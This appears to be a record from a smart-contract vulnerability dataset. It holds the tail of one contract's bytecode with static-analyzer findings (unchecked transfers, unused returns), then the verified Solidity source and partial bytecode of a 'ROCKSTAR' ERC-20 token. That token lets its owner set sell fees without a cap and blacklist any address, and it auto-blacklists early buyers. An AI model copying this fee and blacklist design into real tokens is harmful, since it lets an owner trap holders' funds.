fffffffffffffffffffffffffffff8416600090815260026020526040812080548492906106d790849061274e565b909155505073ffffffffffffffffffffffffffffffffffffffff8084166000818152600260209081526040808320805488019055888516835260049091528082205492825290205461072e92918216911684611c87565b8273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161078d91815260200190565b60405180910390a35060019392505050565b6040517f23b872dd00000000000000000000000000000000000000000000000000000000815233600482015230602482015260448101829052600090736b3595068778dd592e39a122f4f5a5cf09c90fe2906323b872dd90606401602060405180830381600087803b15801561081457600080fd5b505af1158015610828573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061084c9190612465565b506040517fa59f3e0c00000000000000000000000000000000000000000000000000000000815260048101839052738798249c2e607446efb7ad49ec89dd1865ff42729063a59f3e0c90602401600060405180830381600087803b1580156108b357600080fd5b505af11580156108c7573d6000803e3d6000fd5b5050505073f5bce5077908a1b7370b9ae04adc565ebd64396673ffffffffffffffffffffffffffffffffffffffff166302b9446c738798249c2e607446efb7ad49ec89dd1865ff4272303061092f738798249c2e607446efb7ad49ec89dd1865ff4272611e3e565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e087901b16815273ffffffffffffffffffffffffffffffffffffffff948516600482015292841660248401529216604482015260648101919091526000608482015260a4015b6040805180830381600087803b1580156109b357600080fd5b505af11580156109c7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109eb9190612564565b9150610508905083610a00620186a084612711565b611f49565b610a0f338261201f565b50565b6000610a1d82611bef565b6040517f97da6d30000000000000000000000000000000000000000000000000000000008152738798249c2e607446efb7ad49ec89dd1865ff427260048201523060248201819052604482015260006064820152620186a08304608482015273f5bce5077908a1b7370b9ae04adc565ebd643966906397da6d309060a4016040805180830381600087803b158015610ab457600080fd5b505af1158015610ac8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aec9190612564565b506040517f67dfd4c900000000000000000000000000000000000000000000000000000000815260048101829052909150738798249c2e607446efb7ad49ec89dd1865ff4272906367dfd4c990602401600060405180830381600087803b158015610b5657600080fd5b505af1158015610b6a573d6000803e3d6000fd5b50505050736b3595068778dd592e39a122f4f5a5cf09c90fe273ffffffffffffffffffffffffffffffffffffffff1663a9059cbb84610bbc736b3595068778dd592e39a122f4f5a5cf09c90fe2611e3e565b6040517fffffffff0000000000000000000000000000000000000000000000000000000060e085901b16815273ffffffffffffffffffffffffffffffffffffffff90921660048301526024820152604401602060405180830381600087803b158015610c2757600080fd5b505af1158015610c3b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610c5f9190612465565b5092915050565b6000438210610cfc576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602a60248201527f4d656f777368693a3a6765745072696f72566f7465733a206e6f74207965742060448201527f64657465726d696e65640000000000000000000000000000000000000000000060648201526084015b60405180910390fd5b73ffffffffffffffffffffffffffffffffffffffff831660009081526006602052604090205480610d2c57600091505b73ffffffffffffffffffffffffffffffffffffffff841660009081526005602090815260408083207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff850184529091529020548310610dde5773ffffffffffffffffffffffffffffffffffffffff841660009081526005602090815260408083207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8501845290915290206001015491505b73ffffffffffffffffffffffffffffffffffffffff84166000908152600560209081526040808320838052909152902054831015610e1b57600091505b60007fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82015b818114610ecf5773ffffffffffffffffffffffffffffffffffffffff86166000908152600560209081526040808320600286860304850380855290835292819020815180830190925280548083526001909101549282019290925290871415610eb05780602001519550610ec8565b8051871115610ec157819350610ec8565b6001820392505b5050610e41565b5073ffffffffffffffffffffffffffffffffffffffff909416600090815260056020908152604080832096835295905293909320600101549392505050565b33600090815260026020526040812080548391908390610f2f90849061274e565b909155505073ffffffffffffffffffffffffffffffffffffffff8084166000818152600260209081526040808320805488019055338352600490915280822054928252902054610f8492918216911684611c87565b60405182815273ffffffffffffffffffffffffffffffffffffffff84169033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906020016104fc565b60608167ffffffffffffffff811115611010577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60405190808252806020026020018201604052801561104357816020015b606081526020019060019003908161102e5790505b50905060005b82811015610c5f576000803086868581811061108e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b90506020028101906110a0919061268f565b6040516110ae9291906125d1565b600060405180830381855af49150503d80600081146110e9576040519150601f19603f3d011682016040523d82523d6000602084013e6110ee565b606091505b5091509150816111545760448151101561110757600080fd5b600481019050808060200190518101906111219190612485565b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610cf3919061267c565b8084848151811061118e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60209081029190910101525050600101611049565b73ffffffffffffffffffffffffffffffffffffffff8116600090815260066020526040812054806111d557600061122c565b73ffffffffffffffffffffffffffffffffffffffff831660009081526005602090815260408083207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff850184529091529020600101545b9392505050565b604080518082018252600781527f4d656f777368690000000000000000000000000000000000000000000000000060209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527fb2519001d922cc8f01da040a1ebf40356f395758595af77f4a075390db7ffeeb81840152466060820152306080808301919091528351808303909101815260a0820184528051908301207fe48329057bfd03d55e49b547132e39cffd9c1820ad7b9d4c5307691425d15adf60c083015273ffffffffffffffffffffffffffffffffffffffff8a1660e08301526101008201899052610120808301899052845180840390910181526101408301909452835193909201929092207f19010000000000000000000000000000000000000000000000000000000000006101608401526101628301829052610182830181905290916000906101a201604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181528282528051602091820120600080855291840180845281905260ff8a169284019290925260608301889052608083018790529092509060019060a0016020604051602081039080840390855afa158015611411573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff81166114df576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602960248201527f4d656f777368693a3a64656c656761746542795369673a20696e76616c69642060448201527f7369676e617475726500000000000000000000000000000000000000000000006064820152608401610cf3565b73ffffffffffffffffffffffffffffffffffffffff81166000908152600360205260409020805460018101909155891461159b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602560248201527f4d656f777368693a3a64656c656761746542795369673a20696e76616c69642060448201527f6e6f6e63650000000000000000000000000000000000000000000000000000006064820152608401610cf3565b8742111561162b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602960248201527f4d656f777368693a3a64656c656761746542795369673a207369676e6174757260448201527f65206578706972656400000000000000000000000000000000000000000000006064820152608401610cf3565b611635818b61201f565b505050505b505050505050565b604080518082018252600781527f4d656f777368690000000000000000000000000000000000000000000000000060209182015281517f8cad95687ba82c2ce50e74f7b754645e5117c3a5bec8151c0726d5857980a866818301527fb2519001d922cc8f01da040a1ebf40356f395758595af77f4a075390db7ffeeb81840152466060820152306080808301919091528351808303909101815260a08201845280519083012073ffffffffffffffffffffffffffffffffffffffff8b81166000818152600386528681208054600181019091557f6e71edae12b1b97f4d1f60370fef10105fa2faae0126114a169c64845d6126c960c087015260e0860192909252918c1661010085015261012084018b90526101408401526101608084018a9052855180850390910181526101808401909552845194909301939093207f19010000000000000000000000000000000000000000000000000000000000006101a08301526101a282018490526101c2820181905291906101e201604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe08184030181528282528051602091820120600080855291840180845281905260ff8a169284019290925260608301889052608083018790529092509060019060a0016020604051602081039080840390855afa158015611845573d6000803e3d6000fd5b50506040517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0015191505073ffffffffffffffffffffffffffffffffffffffff8116611913576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f4d656f777368693a3a7065726d69743a20696e76616c6964207369676e61747560448201527f72650000000000000000000000000000000000000000000000000000000000006064820152608401610cf3565b8a73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16146119a8576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601d60248201527f4d656f777368693a3a7065726d69743a20756e617574686f72697a65640000006044820152606401610cf3565b50505084421115611a3b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152602260248201527f4d656f777368693a3a7065726d69743a207369676e617475726520657870697260448201527f65640000000000000000000000000000000000000000000000000000000000006064820152608401610cf3565b73ffffffffffffffffffffffffffffffffffffffff8881166000818152600160209081526040808320948c16808452948252918290208a905590518981527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a35050505050505050565b6040517f23b872dd00000000000000000000000000000000000000000000000000000000815233600482015273f5bce5077908a1b7370b9ae04adc565ebd643966602482015260448101829052600090738798249c2e607446efb7ad49ec89dd1865ff4272906323b872dd90606401602060405180830381600087803b158015611b3757600080fd5b505af1158015611b4b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b6f9190612465565b506040517f02b9446c000000000000000000000000000000000000000000000000000000008152738798249c2e607446efb7ad49ec89dd1865ff4272600482015273f5bce5077908a1b7370b9ae04adc565ebd643966602482018190523060448301526064820184905260006084830152906302b9446c9060a40161099a565b3360009081526002602052604081208054839290611c0e90849061274e565b909155505060008054829003815533815260046020526040812054611c4c9173ffffffffffffffffffffffffffffffffffffffff9091169083611c87565b60405181815260009033907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350565b8173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611cc257508015155b15611e395773ffffffffffffffffffffffffffffffffffffffff831615611d825773ffffffffffffffffffffffffffffffffffffffff83166000908152600660205260408120549081611d16576000611d6d565b73ffffffffffffffffffffffffffffffffffffffff851660009081526005602090815260408083207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff860184529091529020600101545b9050828103611d7e868484846120d6565b5050505b73ffffffffffffffffffffffffffffffffffffffff821615611e395773ffffffffffffffffffffffffffffffffffffffff82166000908152600660205260408120549081611dd1576000611e28565b73ffffffffffffffffffffffffffffffffffffffff841660009081526005602090815260408083207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff860184529091529020600101545b905082810161163a858484846120d6565b505050565b604080513060248083019190915282518083039091018152604490910182526020810180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff167f70a082310000000000000000000000000000000000000000000000000000000017905290516000918291829173ffffffffffffffffffffffffffffffffffffffff861691611ed091906125e1565b600060405180830381855afa9150503d8060008114611f0b576040519150601f19603f3d011682016040523d82523d6000602084013e611f10565b606091505b5091509150818015611f2457506020815110155b611f2d57600080fd5b80806020019051810190611f41919061254c565b949350505050565b73ffffffffffffffffffffffffffffffffffffffff821660009081526002602052604081208054839290611f7e9084906126f9565b9250508190555080600080828254611f9691906126f9565b909155505073ffffffffffffffffffffffffffffffffffffffff808316600090815260046020526040812054611fcd921683611c87565b60405181815273ffffffffffffffffffffffffffffffffffffffff8316906000907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b73ffffffffffffffffffffffffffffffffffffffff80831660008181526004602052604080822080548686167fffffffffffffffffffffffff0000000000000000000000000000000000000000821681179092559151919094169392849290917f3134e8a2e6d97e929a7e54011ea5485d7d196dd5f0ba4d4ef95803e8e3fc257f9190a473ffffffffffffffffffffffffffffffffffffffff8316600090815260026020526040902054611e399082908490611c87565b8215801590612136575073ffffffffffffffffffffffffffffffffffffffff841660009081526005602090815260408083207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8701845290915290205443145b156121985773ffffffffffffffffffffffffffffffffffffffff841660009081526005602090815260408083207fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8701845290915290206001018190556121f4565b604080518082018252438152602080820184815273ffffffffffffffffffffffffffffffffffffffff88166000818152600584528581208982528452858120945185559151600194850155815260069091529190912090840190555b604080518381526020810183905273ffffffffffffffffffffffffffffffffffffffff8616917fdec2bacdd2f05b59de34da9b523dff8be42e5e38e818c82fdb0bae774387a724910160405180910390a250505050565b803573ffffffffffffffffffffffffffffffffffffffff8116811461226f57600080fd5b919050565b803560ff8116811461226f57600080fd5b600060208284031215612296578081fd5b61122c8261224b565b600080604083850312156122b1578081fd5b6122ba8361224b565b91506122c86020840161224b565b90509250929050565b6000806000606084860312156122e5578081fd5b6122ee8461224b565b92506122fc6020850161224b565b9150604084013590509250925092565b600080600080600080600060e0888a031215612326578283fd5b61232f8861224b565b965061233d6020890161224b565b9550604088013594506060880135935061235960808901612274565b925060a0880135915060c0880135905092959891949750929550565b60008060408385031215612387578182fd5b6123908361224b565b946020939093013593505050565b60008060008060008060c087890312156123b6578182fd5b6123bf8761224b565b955060208701359450604087013593506123db60608801612274565b92506080870135915060a087013590509295509295509295565b60008060208385031215612407578182fd5b823567ffffffffffffffff8082111561241e578384fd5b818501915085601f830112612431578384fd5b81358181111561243f578485fd5b8660208260051b8501011115612453578485fd5b60209290920196919550909350505050565b600060208284031215612476578081fd5b8151801515811461122c578182fd5b600060208284031215612496578081fd5b815167ffffffffffffffff808211156124ad578283fd5b818401915084601f8301126124c0578283fd5b8151818111156124d2576124d26127c4565b604051601f82017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0908116603f01168101908382118183101715612518576125186127c4565b81604052828152876020848701011115612530578586fd5b612541836020830160208801612765565b979650505050505050565b60006020828403121561255d578081fd5b5051919050565b60008060408385031215612576578182fd5b505080516020909101519092909150565b6000815180845261259f816020860160208601612765565b601f017fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe0169290920160200192915050565b8183823760009101908152919050565b600082516125f3818460208701612765565b9190910192915050565b6000602080830181845280855180835260408601915060408160051b8701019250838701855b8281101561266f577fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffc088860301845261265d858351612587565b94509285019290850190600101612623565b5092979650505050505050565b60208152600061122c6020830184612587565b60008083357fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe18436030181126126c3578283fd5b83018035915067ffffffffffffffff8211156126dd578283fd5b6020019150368190038213156126f257600080fd5b9250929050565b6000821982111561270c5761270c612795565b500190565b6000817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561274957612749612795565b500290565b60008282101561276057612760612795565b500390565b60005b83811015612780578181015183820152602001612768565b8381111561278f576000848401525b50505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fdfea264697066735822122058215505574012fcbcbadbee2375c32d02ce13a4c70bf356b06e555fd1d7680e64736f6c63430008040033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}]}}
| 4,207 |
0x0e099b3a3bbda1d338b2923be06f38efd1836a32
|
/**
*Submitted for verification at Etherscan.io on 2022-03-08
*/
/**
*/
// SPDX-License-Identifier: unlicense
pragma solidity ^0.8.7;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract RockstarToken is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "ROCKSTAR";//
string private constant _symbol = "ROCKSTAR";//
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public launchBlock;
//Buy Fee
uint256 private _redisFeeOnBuy = 0;//
uint256 private _taxFeeOnBuy = 9;//
//Sell Fee
uint256 private _redisFeeOnSell = 0;//
uint256 private _taxFeeOnSell = 21;//
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
mapping(address => uint256) private cooldown;
address payable private _developmentAddress = payable(0x9F53aa38012631cEA6a0c289b9A1e67Ecf668509);//
address payable private _marketingAddress = payable(0x88D1b3d786938ac476a623822BE2F13CC806c84E);//
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 4000000000 * 10**9; //
uint256 public _maxWalletSize = 10000000000 * 10**9; //
uint256 public _swapTokensAtAmount = 100000000 * 10**9; //
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(block.number <= launchBlock+1 && from == uniswapV2Pair && to != address(uniswapV2Router) && to != address(this)){
bots[to] = true;
}
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_developmentAddress.transfer(amount.div(2));
_marketingAddress.transfer(amount.div(2));
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
launchBlock = block.number;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_redisFeeOnBuy = redisFeeOnBuy;
_redisFeeOnSell = redisFeeOnSell;
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
//Set minimum tokens required to swap.
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
//Set minimum tokens required to swap.
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
//Set maximum transaction
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner {
for(uint256 i = 0; i < accounts.length; i++) {
_isExcludedFromFee[accounts[i]] = excluded;
}
}
}
|
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a9059cbb11610095578063d00efb2f11610064578063d00efb2f14610648578063dd62ed3e14610673578063ea1644d5146106b0578063f2fde38b146106d9576101d7565b8063a9059cbb1461058e578063bfd79284146105cb578063c3c8cd8014610608578063c492f0461461061f576101d7565b80638f9a55c0116100d15780638f9a55c0146104e657806395d89b411461051157806398a5c3151461053c578063a2a957bb14610565576101d7565b80637d1db4a5146104675780638da5cb5b146104925780638f70ccf7146104bd576101d7565b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec146103d357806370a08231146103ea578063715018a61461042757806374010ece1461043e576101d7565b8063313ce5671461032b57806349bd5a5e146103565780636b999053146103815780636d8aa8f8146103aa576101d7565b80631694505e116101ab5780631694505e1461026d57806318160ddd1461029857806323b872dd146102c35780632fd689e314610300576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe9190613048565b610702565b005b34801561021157600080fd5b5061021a61082c565b60405161022791906134a5565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612fa8565b610869565b604051610264919061346f565b60405180910390f35b34801561027957600080fd5b50610282610887565b60405161028f919061348a565b60405180910390f35b3480156102a457600080fd5b506102ad6108ad565b6040516102ba9190613687565b60405180910390f35b3480156102cf57600080fd5b506102ea60048036038101906102e59190612f55565b6108be565b6040516102f7919061346f565b60405180910390f35b34801561030c57600080fd5b50610315610997565b6040516103229190613687565b60405180910390f35b34801561033757600080fd5b5061034061099d565b60405161034d91906136fc565b60405180910390f35b34801561036257600080fd5b5061036b6109a6565b6040516103789190613454565b60405180910390f35b34801561038d57600080fd5b